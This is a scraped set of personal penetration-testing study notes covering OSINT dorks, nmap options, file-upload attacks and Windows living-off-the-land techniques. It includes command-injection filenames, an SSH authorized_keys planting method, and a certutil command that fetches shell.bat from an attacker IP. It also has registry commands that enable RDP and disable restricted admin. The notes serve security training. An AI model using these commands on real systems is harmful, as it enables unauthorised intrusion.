# Table of Contents - [Notes | Pentest Notes](#notes-pentest-notes) - [/home/x3m1Sec/.pt-notes | Pentest Notes](#-home-x3m1sec-pt-notes-pentest-notes) - [Information Gathering | Pentest Notes](#information-gathering-pentest-notes) - [Pentest Notes](#pentest-notes) - [Protocols and Services | Pentest Notes](#protocols-and-services-pentest-notes) - [DNS Port (53) | Pentest Notes](#dns-port-53-pentest-notes) - [FTP Port (21) | Pentest Notes](#ftp-port-21-pentest-notes) - [IMAP Ports (143,993) | Pentest Notes](#imap-ports-143-993-pentest-notes) - [POP3 Port (110) | Pentest Notes](#pop3-port-110-pentest-notes) - [Oracle TNS Port (1521) | Pentest Notes](#oracle-tns-port-1521-pentest-notes) - [NetBIOS Ports (137,138,139) | Pentest Notes](#netbios-ports-137-138-139-pentest-notes) - [IPMI Port (623) | Pentest Notes](#ipmi-port-623-pentest-notes) - [Kerberos Port (88) | Pentest Notes](#kerberos-port-88-pentest-notes) - [NFS Ports (111,2049) | Pentest Notes](#nfs-ports-111-2049-pentest-notes) - [Apache Tomcat Ports (8080,8180) | Pentest Notes](#apache-tomcat-ports-8080-8180-pentest-notes) - [SNMP Ports (161,162) | Pentest Notes](#snmp-ports-161-162-pentest-notes) - [MSSQL Port (1433) | Pentest Notes](#mssql-port-1433-pentest-notes) - [SMTP Port (25) | Pentest Notes](#smtp-port-25-pentest-notes) - [MySQL Port (3306) | Pentest Notes](#mysql-port-3306-pentest-notes) - [PostgreSQL Port (5432) | Pentest Notes](#postgresql-port-5432-pentest-notes) - [RDP Port (3389) | Pentest Notes](#rdp-port-3389-pentest-notes) - [LDAP Ports (389,636) | Pentest Notes](#ldap-ports-389-636-pentest-notes) - [Web Applications | Pentest Notes](#web-applications-pentest-notes) - [Java RMI Port (1099) | Pentest Notes](#java-rmi-port-1099-pentest-notes) - [Web Attacks | Pentest Notes](#web-attacks-pentest-notes) - [Port 123 - NTP | Pentest Notes](#port-123-ntp-pentest-notes) - [RPCBind Ports (111,32771) | Pentest Notes](#rpcbind-ports-111-32771-pentest-notes) - [Insecure Direct Object References (IDOR) | Pentest Notes](#insecure-direct-object-references-idor-pentest-notes) - [Active Directory Pentesting | Pentest Notes](#active-directory-pentesting-pentest-notes) - [Remote File Inclusion (RFI) | Pentest Notes](#remote-file-inclusion-rfi-pentest-notes) - [Web Technologies | Pentest Notes](#web-technologies-pentest-notes) - [HTTP Verb Tampering | Pentest Notes](#http-verb-tampering-pentest-notes) - [Initial Enumeration | Pentest Notes](#initial-enumeration-pentest-notes) - [SMB Ports (139,445) | Pentest Notes](#smb-ports-139-445-pentest-notes) - [Nmap Commands for Port Discovery | Pentest Notes](#nmap-commands-for-port-discovery-pentest-notes) - [Fuzzing | Pentest Notes](#fuzzing-pentest-notes) - [Sub-domain Enumeration | Pentest Notes](#sub-domain-enumeration-pentest-notes) - [CGI Applications | Pentest Notes](#cgi-applications-pentest-notes) - [Splunk | Pentest Notes](#splunk-pentest-notes) - [osTicket | Pentest Notes](#osticket-pentest-notes) - [Gitlab | Pentest Notes](#gitlab-pentest-notes) - [XML External Entities (XXE) | Pentest Notes](#xml-external-entities-xxe-pentest-notes) - [Linux Privilege Escalation | Pentest Notes](#linux-privilege-escalation-pentest-notes) - [Microsoft IIS | Pentest Notes](#microsoft-iis-pentest-notes) - [PRTG Network Monitor | Pentest Notes](#prtg-network-monitor-pentest-notes) - [Jenkins | Pentest Notes](#jenkins-pentest-notes) - [File System ACLs | Pentest Notes](#file-system-acls-pentest-notes) - [OS Command Injection | Pentest Notes](#os-command-injection-pentest-notes) - [Windows Privilege Escalation | Pentest Notes](#windows-privilege-escalation-pentest-notes) - [Email Services | Pentest Notes](#email-services-pentest-notes) - [Tools | Pentest Notes](#tools-pentest-notes) - [Drupal | Pentest Notes](#drupal-pentest-notes) - [SAP Netweaver | Pentest Notes](#sap-netweaver-pentest-notes) - [Joomla | Pentest Notes](#joomla-pentest-notes) - [Privileged Groups | Pentest Notes](#privileged-groups-pentest-notes) - [Attacking Kerberos | Pentest Notes](#attacking-kerberos-pentest-notes) - [Hack The Box | Pentest Notes](#hack-the-box-pentest-notes) - [Programs, Jobs and Services | Pentest Notes](#programs-jobs-and-services-pentest-notes) - [Capabilities Abuse | Pentest Notes](#capabilities-abuse-pentest-notes) - [Enumerating Users | Pentest Notes](#enumerating-users-pentest-notes) - [WordPress | Pentest Notes](#wordpress-pentest-notes) - [Environment Variables Abuse | Pentest Notes](#environment-variables-abuse-pentest-notes) - [Tomcat | Pentest Notes](#tomcat-pentest-notes) - [Linux | Pentest Notes](#linux-pentest-notes) - [Kerbrute | Pentest Notes](#kerbrute-pentest-notes) - [Recent CVEs | Pentest Notes](#recent-cves-pentest-notes) - [Bug Bounty Hunting | Pentest Notes](#bug-bounty-hunting-pentest-notes) - [Easy | Pentest Notes](#easy-pentest-notes) - [CTFs | Pentest Notes](#ctfs-pentest-notes) - [User Account Control (UAC) Bypass | Pentest Notes](#user-account-control-uac-bypass-pentest-notes) - [File Upload Vulnerabilities | Pentest Notes](#file-upload-vulnerabilities-pentest-notes) - [Living off the Land | Pentest Notes](#living-off-the-land-pentest-notes) - [Bug Bounty Tools | Pentest Notes](#bug-bounty-tools-pentest-notes) - [PriveEsc Checklist | Pentest Notes](#priveesc-checklist-pentest-notes) - [Linux PrivEsc Summary | Pentest Notes](#linux-privesc-summary-pentest-notes) - [Miscellaneous Techniques | Pentest Notes](#miscellaneous-techniques-pentest-notes) - [SQL Injection (SQLi) | Pentest Notes](#sql-injection-sqli-pentest-notes) - [Impacket | Pentest Notes](#impacket-pentest-notes) - [Services Hijacking | Pentest Notes](#services-hijacking-pentest-notes) - [BloodyAD | Pentest Notes](#bloodyad-pentest-notes) - [Enumerating Attack Vectors | Pentest Notes](#enumerating-attack-vectors-pentest-notes) - [Built-in Groups Abuse | Pentest Notes](#built-in-groups-abuse-pentest-notes) - [PowerView.py | Pentest Notes](#powerview-py-pentest-notes) - [LDAPSearch | Pentest Notes](#ldapsearch-pentest-notes) - [Utilities, Scripts and Payloads | Pentest Notes](#utilities-scripts-and-payloads-pentest-notes) - [Local File Inclusion (LFI) | Pentest Notes](#local-file-inclusion-lfi-pentest-notes) - [Excessive User Rights Abuse | Pentest Notes](#excessive-user-rights-abuse-pentest-notes) - [File Transfers | Pentest Notes](#file-transfers-pentest-notes) - [PriveEsc checklist | Pentest Notes](#priveesc-checklist-pentest-notes) - [Hard | Pentest Notes](#hard-pentest-notes) - [Shells and Payloads | Pentest Notes](#shells-and-payloads-pentest-notes) - [Medium | Pentest Notes](#medium-pentest-notes) - [Enumerating Attack Vectors | Pentest Notes](#enumerating-attack-vectors-pentest-notes) - [TryHackMe | Pentest Notes](#tryhackme-pentest-notes) - [Windows | Pentest Notes](#windows-pentest-notes) - [Easy | Pentest Notes](#easy-pentest-notes) - [Knife | Pentest Notes](#knife-pentest-notes) - [Broker | Pentest Notes](#broker-pentest-notes) - [Spawn TTY Shells | Pentest Notes](#spawn-tty-shells-pentest-notes) - [Password Attacks | Pentest Notes](#password-attacks-pentest-notes) - [Hard | Pentest Notes](#hard-pentest-notes) - [Sau | Pentest Notes](#sau-pentest-notes) - [Metasploit Framework | Pentest Notes](#metasploit-framework-pentest-notes) - [Irked | Pentest Notes](#irked-pentest-notes) - [Medium | Pentest Notes](#medium-pentest-notes) - [Pivoting, Tunneling, Port Forwarding | Pentest Notes](#pivoting-tunneling-port-forwarding-pentest-notes) - [Active Directory Certificate Services (ADCS) | Pentest Notes](#active-directory-certificate-services-adcs-pentest-notes) - [Busqueda | Pentest Notes](#busqueda-pentest-notes) - [Abusing ACLs/ACEs | Pentest Notes](#abusing-acls-aces-pentest-notes) - [Sunday | Pentest Notes](#sunday-pentest-notes) - [Codify | Pentest Notes](#codify-pentest-notes) - [Road to certification | Pentest Notes](#road-to-certification-pentest-notes) - [Keeper | Pentest Notes](#keeper-pentest-notes) - [Cross Site Scripting (XSS) | Pentest Notes](#cross-site-scripting-xss-pentest-notes) - [Bloodhound | Pentest Notes](#bloodhound-pentest-notes) - [Analytics | Pentest Notes](#analytics-pentest-notes) - [Jerry | Pentest Notes](#jerry-pentest-notes) - [Cozyhosting | Pentest Notes](#cozyhosting-pentest-notes) - [Nibbles | Pentest Notes](#nibbles-pentest-notes) - [Pilgrimage | Pentest Notes](#pilgrimage-pentest-notes) - [Swagshop | Pentest Notes](#swagshop-pentest-notes) - [eJPTv2 | Pentest Notes](#ejptv2-pentest-notes) - [Soccer | Pentest Notes](#soccer-pentest-notes) --- # Notes | Pentest Notes [Enumerationchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/enumeration) [Nmapchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/nmap) [Attacking Common Applicationschevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/attacking-common-applications) [Attacking Common Serviceschevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/attacking-common-services) [Active Directory Enumeration & Attackschevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/active-directory-enumeration-and-attacks) [Linux Privilege Escalationchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/linux-privilege-escalation) [Windows Privilege Escalationchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/windows-privilege-escalation) [Server-side Attackschevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/server-side-attacks) [Web Attackschevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/web-attacks) [Web Service & API Attackschevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/web-service-and-api-attacks) [Command-injectionschevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/command-injections) [SQL-injectionchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/sql-injection) [XSSchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/xss) [Broken Authenticationchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/broken-authentication) [Login-brute-forcingchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/login-brute-forcing) [Password-attackschevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/password-attacks) [Password-crackingchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/password-cracking) [Session Security Guidechevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/session-security) [File-transferchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/file-transfer) [File-upload-attackschevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/file-upload-attacks) [Shells and payloadschevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/shells-and-payloads) [Upgrading-tty-shellchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/upgrading-tty-shell) [Using-the-metasploit-frameworkchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/using-the-metasploit-framework) [File Inclusionchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/file-inclusion) [Ligolo-ngchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/ligolo-ng) [Pivoting-tunneling-and-port-forwardingchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/pivoting-tunneling-and-port-forwarding) [TIPSchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/cpts-tips) [CheatSheetchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/cheatsheet) [PreviousMy reviewchevron-left](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/cpts) [NextEnumerationchevron-right](https://x3m1sec.gitbook.io/notes/my-certifications/cpts/notes/enumeration) Last updated 7 months ago --- # /home/x3m1Sec/.pt-notes | Pentest Notes ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2Fimages.unsplash.com%2Fphoto-1514168757508-07ffe9ae125b%3Fcrop%3Dentropy%26cs%3Dsrgb%26fm%3Djpg%26ixid%3DM3wxOTcwMjR8MHwxfHNlYXJjaHwzfHxoYWNraW5nfGVufDB8fHx8MTcyMjUxNjMyMHww%26ixlib%3Drb-4.0.3%26q%3D85&width=768&dpr=3&quality=100&sign=1eff4f64&sv=2) Cover [hashtag](https://x3m1sec.gitbook.io/notes#home-x3m1sec-.pt-notes) 🏠 /home/x3m1Sec/.pt-notes -------------------------------------------------------------------------------------------------- Welcome to my penetration testing notes page - a project started with the idea to share and document my knowledge gained in the world of offensive security. My current knowledge comes from CTFs, eJPT and currently CPTS certification. * * * ### [hashtag](https://x3m1sec.gitbook.io/notes#about-me) **About me** chevron-rightMy Profiles[hashtag](https://x3m1sec.gitbook.io/notes#my-profiles) [LinkedInarrow-up-right](https://x3m1sec.gitbook.io/www.linkedin.com/in/josemiguelromeroflores) , [GitHubarrow-up-right](https://github.com/x3m1sec) , [TryHackMearrow-up-right](https://tryhackme.com/p/x3m1Sec) chevron-rightCertifications[hashtag](https://x3m1sec.gitbook.io/notes#certifications) [eJPTarrow-up-right](https://certs.ine.com/3adc5ed1-3758-4a19-a59a-827d27782417#acc.tF0zCEur) , [TryHackMearrow-up-right](https://pwnrabbithole.es/files/OffensiveLearningPath.jpeg) , [CHEEarrow-up-right](https://pwnrabbithole.es/files/CHEE.jpeg) , [CPHEEarrow-up-right](https://pwnrabbithole.es/files/CPHE.jpeg) ### [hashtag](https://x3m1sec.gitbook.io/notes#disclaimer) **Disclaimer** > This page is intended for educational and informational purposes only. The content is provided "as is" without warranties of accuracy, completeness, or reliability. Any use of this information is at your own risk. The author is not responsible for any loss, damage, or consequences arising from its use. The techniques described should never be used for illegal or unethical activities. By using this content, you accept full responsibility for your actions and release the author from any liability. [NextPentest Noteschevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes) Last updated 9 months ago * [🏠 /home/x3m1Sec/.pt-notes](https://x3m1sec.gitbook.io/notes#home-x3m1sec-.pt-notes) * [About me](https://x3m1sec.gitbook.io/notes#about-me) * [Disclaimer](https://x3m1sec.gitbook.io/notes#disclaimer) --- # Information Gathering | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/information-gathering#passive-information-gathering-and-osint) **Passive Information Gathering & OSINT** ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- * These techniques refer to gaining information from publicly available sources * By doing so, the attacker gains information about the target, without any type of active scanning * This ensures that the target will never be aware that we are obtaining information about it, since there is no form of direct interaction External Resources: 1. [https://www.cheatsheet.wtf/OSINT/arrow-up-right](https://www.cheatsheet.wtf/OSINT/) 2. [https://www.compass-security.com/fileadmin/Research/White\_Papers/2017-01\_osint\_cheat\_sheet.pdfarrow-up-right](https://www.compass-security.com/fileadmin/Research/White_Papers/2017-01_osint_cheat_sheet.pdf) 3. [https://bigdata-ir.com/wp-content/uploads/2021/02/OSINT\_Packet\_2019.pdfarrow-up-right](https://bigdata-ir.com/wp-content/uploads/2021/02/OSINT_Packet_2019.pdf) * * * ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/information-gathering#google-dorks) Google Dorks Google can be a powerful tool for penetration testing and bug-bounty hunting. Google's crawling capabilities can help us find exposed files, scripts and other critical resources in web applications. This [blogpostarrow-up-right](https://www.freecodecamp.org/news/google-dorking-for-pentesters-a-practical-tutorial/) can be useful if you need to learn more about google dorks. You can also refer to the following: * [https://www.exploit-db.com/google-hacking-databasearrow-up-right](https://www.exploit-db.com/google-hacking-database) * [https://pentest-tools.com/information-gathering/google-hackingarrow-up-right](https://pentest-tools.com/information-gathering/google-hacking) chevron-rightGeneric Queries[hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/information-gathering#generic-queries) `site:*.target.com intext:uncaught` `site:*.target.com intext:error` `site:*.target.com intext:parameter` `site:*.target.com intext:missing` `site:*.target.com intext:"stack trace"` `site:*.target.com intext:php` `site:*.target.com intext:jsp` `site:*.target.com intext:asp` `site:*.target.com intext:include_path` `site:*.target.com intext:undefined` `site:*.target.com intext:sql` `site:*.target.com intext:invalid` `site:*.target.com intext:exception` `site:*.target.com intext:fatal` `site:*.target.com intext:CONFIG` `site:*.target.com intext:login` `site:*.target.com intitle:"index of"` `site:*.target.com inurl:prod` `site:*.target.com inurl:&` `site:*.target.com inurl:dev` `site:*.target.com inurl:staging` `site:*.target.com inurl:stg` `site:*.target.com inurl:debug` `site:*.target.com inurl:admin` `site:*.target.com inurl:internal` chevron-rightApache Services[hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/information-gathering#apache-services) `site:*.target.com intitle:"apache tomcat/"` `site:*.target.com "Apache Tomcat examples"` `site:*.target.com intext:"apache"` `site:*.target.com intitle:"Solr Admin"` `site:*.target.com intext:"This is the default welcome page used to test the correct operation of the Apache2 server"` `site:*.target.com intitle:"index of" "powered by apache "` `site:*.target.com intext:"Apache server status for"` `site:*.target.com intitle:"Apache2 Ubuntu Default Page: It works"` `site:*.target.com intitle:"WAMPSERVER homepage" "Server Configuration" "Apache Version"` `site:*.target.com intitle:"Test Page for the Apache HTTP Server"` chevron-rightFiles[hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/information-gathering#files) `site:*.target.com ext:txt` `site:*.target.com ext:php` `site:*.target.com ext:php5` `site:*.target.com ext:phtml` `site:*.target.com ext:xhtml` `site:*.target.com ext:key` `site:*.target.com ext:pem` `site:*.target.com ext:ovpn` `site:*.target.com ext:log` `site:*.target.com ext:asp` `site:*.target.com ext:aspx` `site:*.target.com ext:jsp` `site:*.target.com ext:dat` `site:*.target.com ext:ovpn` `site:*.target.com ext:yml` `site:*.target.com ext:bak` `site:*.target.com ext:zip` `site:*.target.com ext:yaml` `site:*.target.com ext:json` `site:*.target.com ext:xml` `site:*.target.com ext:env` `site:*.target.com ext:conf` `site:*.target.com ext:ini` `site:*.target.com ext:cfg` `site:*.target.com ext:cgi` `site:*.target.com ext:ccm` `site:*.target.com ext:sql` `site:*.target.com ext:cdx` `site:*.target.com ext:ics` chevron-rightGraphQL queries[hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/information-gathering#graphql-queries) `site:*.target.com intext:"GRAPHQL_PARSE_FAILED"` `site:*.target.com intext:"GRAPHQL_VALIDATION_FAILED"` `site:*.target.com intext:"BAD_USER_INPUT"` `site:*.target.com intext:"UNAUTHENTICATED"` `site:*.target.com intext:"FORBIDDEN"` `site:*.target.com intext:"PERSISTED_QUERY_NOT_FOUND"` `site:*.target.com intext:"PERSISTED_QUERY_NOT_SUPPORTED"` `site:*.target.com intext:"INTERNAL_SERVER_ERROR"` * * * ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/information-gathering#domain-information-using-crt.sh-and-shodan) **Domain Information using Crt.sh & Shodan** 1. Output and Download JSON: `curl -s https://crt.sh/\?q\=test.com\&output\=json | jq .` 2. Filter JSON by subdomains: `curl -s https://crt.sh/\?q\=test.com\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u` 3. Make an ip-address wordlist: `for i in $(cat subdomainlist);do host $i | grep "has address" | grep [test.com](http://test.com/) | cut -d" " -f4 >> ip-addresses.txt;done` 4. Run shodan on those ip addresses: `for i in $(cat ip-addresses.txt);do shodan host $i;done` * * * ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/information-gathering#passive-domain-enumeration) **Passive Domain Enumeration** Resource/Command Description VirusTotal https://www.virustotal.com/gui/home/url Censys https://censys.io/ Crt.sh https://crt.sh/ curl -s https://sonar.omnisint.io/subdomains/{domain} | jq -r '.\[\]' | sort -u All subdomains for a given domain. curl -s https://sonar.omnisint.io/tlds/{domain} | jq -r '.\[\]' | sort -u All TLDs found for a given domain. curl -s https://sonar.omnisint.io/all/{domain} | jq -r '.\[\]' | sort -u All results across all TLDs for a given domain. curl -s https://sonar.omnisint.io/reverse/{ip} | jq -r '.\[\]' | sort -u Reverse DNS lookup on IP address. curl -s https://sonar.omnisint.io/reverse/{ip}/{mask} | jq -r '.\[\]' | sort -u Reverse DNS lookup of a CIDR range. curl -s "https://crt.sh/?q=${TARGET}&output=json" | jq -r '.\[\] | "(.name\_value)\\n(.common\_name)"' | sort -u Certificate Transparency. cat sources.txt | while read source; do theHarvester -d "${TARGET}" -b $source -f "${source}-${TARGET}";done Searching for subdomains and other information on the sources provided in the source.txt list. https://searchdns.netcraft.com/ Search public information about a hostname using netcraft * * * ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/information-gathering#passive-infrastructure-identification) **Passive Infrastructure Identification** Resource/Command Description Netcraft https://www.netcraft.com/ WayBackMachine http://web.archive.org/ WayBackURLs https://github.com/tomnomnom/waybackurls waybackurls -dates https://$TARGET > waybackurls.txt Crawling URLs from a domain with the date it was obtained. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/information-gathering#active-information-gathering) **Active Information Gathering** -------------------------------------------------------------------------------------------------------------------------------------------------- * By using active scans against the target, we can gain more (reliable) information about it * Whenever we are executing external scans, nmap and many other different tools can help us gain a lay of the land of the target surface * * * ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/information-gathering#protocols-and-services-footprinting-with-nmap) **Protocols and Services Footprinting with NMAP** * Scanning a target with nmap may reveal services, open ports, service versions, operating system and so on * After gaining a lay of the land of the protocols and services granted by the target, refer to the Protocols and Services Notes for more information * * * **NMAP Scanning Options** Nmap Option Description `10.10.10.0/24` Target network range. `-sn` Disables port scanning. `-Pn` Disables ICMP Echo Requests `-n` Disables DNS Resolution. `-PE` Performs the ping scan by using ICMP Echo Requests against the target. `--packet-trace` Shows all packets sent and received. `--reason` Displays the reason for a specific result. `--disable-arp-ping` Disables ARP Ping Requests. `--top-ports=` Scans the specified top ports that have been defined as most frequent. `-p-` Scan all ports. `-p22-110` Scan all ports between 22 and 110. `-p22,25` Scans only the specified ports 22 and 25. `-F` Scans top 100 ports. `-sS` Performs an TCP SYN-Scan. `-sA` Performs an TCP ACK-Scan. Note: best for firewall and ids/ips evasion `-sU` Performs an UDP Scan. `-sV` Scans the discovered services for their versions. `-sC` Perform a Script Scan with scripts that are categorized as "default". `-sL` List Scan - simply list targets to scan - useful to understand which targets are reachable `--script ` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/file-uploads#file-upload-to-ssh-access) File Upload to SSH Access ------------------------------------------------------------------------------------------------------------------------------------------------------------ Suppose you have an Arbitrary File Upload vulnerability where you can also specify the uploaded file's location, whether via a vulnerable filename or a path parameter. Also suppose that you have write access on SSH's authorized\_keys file for a local user. You can gain an SSH shell using the following: 1. Use `ssh-keygen` to generate a key named `fileup` 2. cat fileup > authorized\_keys 3. Upload the file to `/home/username/.ssh/authorized_keys` (or `/root/.ssh/authorized_keys`). 4. Note that you might need to leverage a path traversal vulnerability to reach these destinations. 5. Use `ssh username@IP -i fileup` to gain the SSH shell as `username` 6. Notice that SSH might require using `chmod 500 fileup` to use the `-i fileup` option * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/file-uploads#file-uploads-to-xxe-attacks) **File Uploads to XXE Attacks** -------------------------------------------------------------------------------------------------------------------------------------------------------------------- 1. \[Read `/etc/passwd`\] XXE from SVG images upload by using the following payload: 2. \[Exfiltrate PHP Code\] XXE from SVG to read source code: * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/file-uploads#injections-in-file-names) **Injections in File Names** -------------------------------------------------------------------------------------------------------------------------------------------------------------- > * A common file upload attack uses a malicious string for the uploaded file name > > * The filename may get executed or processed if the uploaded file name is reflected on the page. > > * We can try injecting a command in the file name, and if the web application uses the file name within an OS command, it may lead to a command injection attack. > > * Some examples of filenames for this attack: > 1. System Command Execution * `file$(whoami).jpg` * `file`whoami`.jpg` * `file.jpg||whoami` 2. XSS from filename: * `` 3. SQLi from filename: * `file';select+sleep(5);--.jpg` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/file-uploads#windows-specific-attacks) **Windows Specific Attacks** -------------------------------------------------------------------------------------------------------------------------------------------------------------- 1. **Reserved Characters:** such as (`|`, `<`, `>`, `*`, or `?`) are characters for special uses (such as wildcards). * If the web application doesn't apply any form of input sanification, it's possible to refer to a file different from the specified one (which does not exist) * This behaviour causes an error which may be shown on the web application, potentially showing the `upload directory` 2. **Windows Reserved Names:** can be used to replicate the same behaviour as the reserved characters previously shown. (`CON`, `COM1`, `LPT1`, or `NUL`) 3. **Windows Filename Convention:** it's possible to overwrite a file (or refer to a non-existant file) by using the `~` character to complete the filename * Example: `HAC~1.TXT` → may refer to hackthebox.txt * Reference: [https://en.wikipedia.org/wiki/8.3\_filenamearrow-up-right](https://en.wikipedia.org/wiki/8.3_filename) [PreviousSQL Injection (SQLi)chevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection) [NextInsecure Direct Object References (IDOR)chevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/insecure-direct-object-references-idor) Last updated 11 months ago * [Introduction](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/file-uploads#introduction) * [How Web Servers handle file requests](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/file-uploads#how-web-servers-handle-file-requests) * [File Types and Related Attacks](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/file-uploads#file-types-and-related-attacks) * [Web and Reverse Shells Payloads to Inject](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/file-uploads#web-and-reverse-shells-payloads-to-inject) * [Extension Blacklist Bypasses](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/file-uploads#extension-blacklist-bypasses) * [Overriding the server's configuration files](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/file-uploads#overriding-the-servers-configuration-files) * [Content/Type and Mime/Type Bypass](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/file-uploads#content-type-and-mime-type-bypass) * [Exploiting File Upload Race Conditions](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/file-uploads#exploiting-file-upload-race-conditions) * [File Uploads to XSS Attack](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/file-uploads#file-uploads-to-xss-attack) * [File Upload to SSH Access](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/file-uploads#file-upload-to-ssh-access) * [File Uploads to XXE Attacks](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/file-uploads#file-uploads-to-xxe-attacks) * [Injections in File Names](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/file-uploads#injections-in-file-names) * [Windows Specific Attacks](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/file-uploads#windows-specific-attacks) Copy LoadModule php_module /usr/lib/apache2/modules/libphp.so AddType application/x-httpd-php .php Copy AddType application/x-httpd-php .anything Copy Copy exiftool -Comment="" image.jpg -o polyglot.php Copy ]> &xxe; Copy ]> &xxe; --- # Living off the Land | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/living-off-the-land#file-transfers) File Transfers --------------------------------------------------------------------------------------------------------------------------------------------- **Command** **Description** `certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat` Transfer file with certutil `certutil -encode file1 encodedfile` Encode file with certutil `certutil -decode encodedfile file2` Decode file with certutil * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/living-off-the-land#enabling-rdp-requires-local-administrator) Enabling RDP (Requires local Administrator) ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- If you have control over a `local Administrator` account, you can enable RDP and use `xfreerdp` to perform `post-exploitation` in better conditions To do so, follow these steps: 1. enable RDP: `reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f` 2. enable RDP from the firewall config: `netsh advfirewall firewall set rule group="remote desktop" new enable=Yes` 3. disable the restricted admin mode: `reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f` Then, login using: `xfreerdp /v:Target-IP /u:AdminUser /p:password` [PreviousUser Account Control (UAC) Bypasschevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/user-account-control-uac-bypass) [NextBug Bounty Huntingchevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/bug-bounty-hunting) Last updated 11 months ago * [File Transfers](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/living-off-the-land#file-transfers) * [Enabling RDP (Requires local Administrator)](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/living-off-the-land#enabling-rdp-requires-local-administrator) --- # Bug Bounty Tools | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/bug-bounty-hunting/bug-bounty-tools#before-you-move-on) Before you move on ---------------------------------------------------------------------------------------------------------------------------------------- Before moving on, refer to the [information gathering pagearrow-up-right](https://notes.sfoffo.com/information-gathering) to try to use leverage Google Dorks, OSINT and information gathering techniques against your target. Remember to use rate-limiting and user-headers according to the specific program's guideline. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/bug-bounty-hunting/bug-bounty-tools#auto-tools) Auto Tools ------------------------------------------------------------------------------------------------------------------------ circle-info Notice - This page is Incomplete - more tools will be added ### 